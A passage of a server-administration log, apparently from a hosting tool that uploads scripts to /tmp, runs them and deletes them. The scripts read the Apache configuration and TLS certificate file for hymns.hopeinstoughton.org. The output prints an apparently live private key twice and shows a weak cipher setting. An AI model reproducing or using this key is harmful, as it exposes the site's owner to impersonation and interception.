OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 18:50:40: 

PUT: /tmp/pkp489775

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 18:50:40: 

chmod 755 /tmp/pkp489775; /tmp/pkp489775; rm /tmp/pkp489775

2026-01-03 18:50:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4	5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
IsaXZBVXp4IMUsB6ERlc6S+uAuTz/faNWscOPhgcahigf1zEYiXYuOJREgMsPezx
3JDIOH3yS6cDdJ6w9KfpYOFYMqZXE540ZrM5JQIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSZrbNTkPkpFzMtuLmMJyc+dCtAXjAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGWh5bW5zLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMDcuY3JsMIIBCgYKKwYB
BAHWeQIEAgSB+wSB+AD2AHUAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbhRGu8QAABAMARjBEAiB/6zYnhtB4mCSJ1qIVmlACAOGqSTqKWVCuGpkK
W2Q6cwIgKD8XtAe3jiOBFgt1WHaIa8n5HA09JKm/FpBNue7Gq/kAfQClyXiSXVdG
F4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAAAZuFEbEWAAgAAAUALb4N1gQDAEYw
RAIgeRWzeBkjscJ838rAchgCAKhGtKrp7kB71V6fAUycd8YCIBnlCSBRGiY89UGR
Kl7MFsU0aKk85MrX3Wo6DWDN/hm+MA0GCSqGSIb3DQEBCwUAA4IBAQBoZSb4XVil
txyf7JLd8a/9Q9bq+nXYF5uDSRW0vJkMsu3uyNy9jL6Ymo0IxUz8NzlITWGz7pc1
8OTfhzKsbf7WL/UGyecSeQDW8o7lEJ2QEzcoulj5GFOaaHr3+2miA0RbVJtH91es
5qDpcthirQZ5/2aIJuGVpkaYAYMvxeqO8Cd+VLfbIHwud1NdYcDCpcml2KrHzaok
WUkWoVymBHa9NI4iuiFXuvmBjELXeykcl6zg5MczsiW6Row1FIP/exNEbHXnLpRq
eZdi+CmrMEfgNjKJJ5D64N2FJ+mK10+dj/1Ri7IvA0xchV96i6cvAXUKADo7sgiZ
YocpVC96KaN7
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDEZYUgQVfa7n1M
3OJYHwKtDMIYekV5oZ7XPCh9RVMFNjeQJt/vAbeme6NVfJ1UmppwRnOmNwGZFKot
DIEYHRJtRgcGq8NMN4gxM43jqS42kWJKQz1z2N6Q0KByR2kKTYOdqDAEqqfuPA4B
tPihMv2vn8kPDXwUDitf4rMYXc6JJUQkH8s6IjTTmaOHFLTcBCfM7zVB90/vpRne
RWsA0qjZ0q5SwklEY3xVXwI5F4ZpFqDBH70ixpdkFVenggxSwHoRGVzpL64C5PP9
9o1axw4+GBxqGKB/XMRiJdi44lESAyw97PHckMg4ffJLpwN0nrD0p+lg4VgyplcT
njRmszklAgMBAAECggEABGxG4Aa6/EkEQqsYO9usEhzoOmgt9V5cEnvU/eOGAQvU
Ucv65qVpnMCTopmVNA2jkuVNkZkTGn7RJOC4kh+GDu2DTf6n2V/syVdyrBfMypA9
e4H0AvwZ/DWjKtH54ou6fidiAXV4bpCSq+UG0vsdyQr2iEguGtE8TYxLz4kHAe/J
jqQNvfbVyV5i3+BodehDwkNgy34ohH7wlhaATM26Rq+FfHhPrLXAoAHTz+N3a4sC
8EjWYKzDrPu584EG48ErSKv8DRywol+CexRNmr3H19ja0R+6ea+dhGM49dsN5ItP
tBozgjhpWwxK3ld5nfQguASngAY4CfsF6lT5tyvTNwKBgQD2VmhGkrJx56bgqNyk
UsCrWnh8QttrQBckYLrYs3NfCA7K5C5+qGZf23XCAGwxiwFwbecRFcyAdbWYaerW
3B8s8csBMXPJdmYSLLWUPjAZvcjSnc9LF8IhuaQ+EPctM0xlhaRfX/uALLxj/fh8
m34ncXKrGtSNWPculJdsXhwIBwKBgQDMGaGyOAGaE3PaRoAP77VzgnWY98IB1ff/
P5RkD+RJNwiB94OfhAQEEucD1e2GBs5M58h4pTd6y6OW/Cd50N0PgDGAiMlHsHyB
ASBYUNFuJ4GPdE1eIRSyV7LqRLPXPMzPnjIdrn0Yw1PNGzXJsDmIm4msUlCGrLNG
7+MauBPycwKBgQCfre82IA2QDGt+Ibe0xPejm6eSVPxKj2bw68rygZB9v4lnN3Z0
H9EMvgOdWAzKKKMsL/Gif5DqjGLEg5P45wNGbQ38ngPCSf9sNJMXnyAq73zoGeev
c50ho2a13OV85U3WWUTtlhg/Q8ByyMR0cY7bHo0IIQI7Bbpk9Wkak/5zrQKBgEMC
g1ktFDGPA3F9xhv1WsDC63M+nP7XTmYKbODxasUzAWMSba+Yu2zO+/QBb8uaPm93
hhU+QVnatColPZy8G2g0cYw+3L7hze7Y/NKiLjCZXetIhwJJoC7xpjdOOTGIr8HW
saOXH1FbCA+GSIGgjzMvxeLC39dnqjC3H/wsxbfLAoGAL8agnxB8ajRyxcnc8Jdh
yrZ2qoknC7aLFv56lBR0bhhz/D1a72E/vjpwsAixG6mYqX0lqwUE+Krask6eKoPt
3Bu1i/ydCayM5/7LDWbBdxjUmAsRtyHAYlaA77DAJbOb4J8krtNrON9Zf99LgWGK
iClo1ciLHyATCfy0wH628H8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 19:01:22: Establishing a connection
2026-01-03 19:01:23: 

PUT: /tmp/pkp173778

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 19:01:24: 

chmod 755 /tmp/pkp173778; /tmp/pkp173778; rm /tmp/pkp173778

2026-01-03 19:01:24: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-01-03 19:01:24: 

PUT: /tmp/pkp108852

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')
    show_file('/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:01:24: 

chmod 755 /tmp/pkp108852; /tmp/pkp108852; rm /tmp/pkp108852

2026-01-03 19:01:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf	1490
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_hymns_org.conf	1490
<VirtualHost *:80>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hymns.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4
    DocumentRoot	/var/www/hopeinstoughton_hymns
    <Directory /var/www/hopeinstoughton_hymns>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/hymns_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/hymns_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
</VirtualHost>







2026-01-03 19:01:25: 

PUT: /tmp/pkp193316

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:01:25: 

chmod 755 /tmp/pkp193316; /tmp/pkp193316; rm /tmp/pkp193316

2026-01-03 19:01:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/51ff58e8c1fdb83e589e0546356f00d4	5385
cd:8f:26:d5:18:ea:d6:47:d2:67:da:2c:da:00:21:5a

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBS/XsdpTAH0CFIV9Y+aI1ktqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTcxNjE3WhcNMjYwNDAzMTcxNjE2WjAkMSIwIAYDVQQD
ExloeW1ucy5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAxGWFIEFX2u59TNziWB8CrQzCGHpFeaGe1zwofUVTBTY3kCbf
7wG3pnujVXydVJqacEZzpjcBmRSqLQyBGB0SbUYHBqvDTDeIMTON46kuNpFiSkM9
c9jekNCgckdpCk2DnagwBKqn7jwOAbT4oTL9r5/JDw18FA4rX+KzGF3OiSVEJB/L
OiI005mjhxS03AQnzO81QfdP76UZ3kVrANKo2dKuUsJJRGN8VV8COReGaRagwR+9
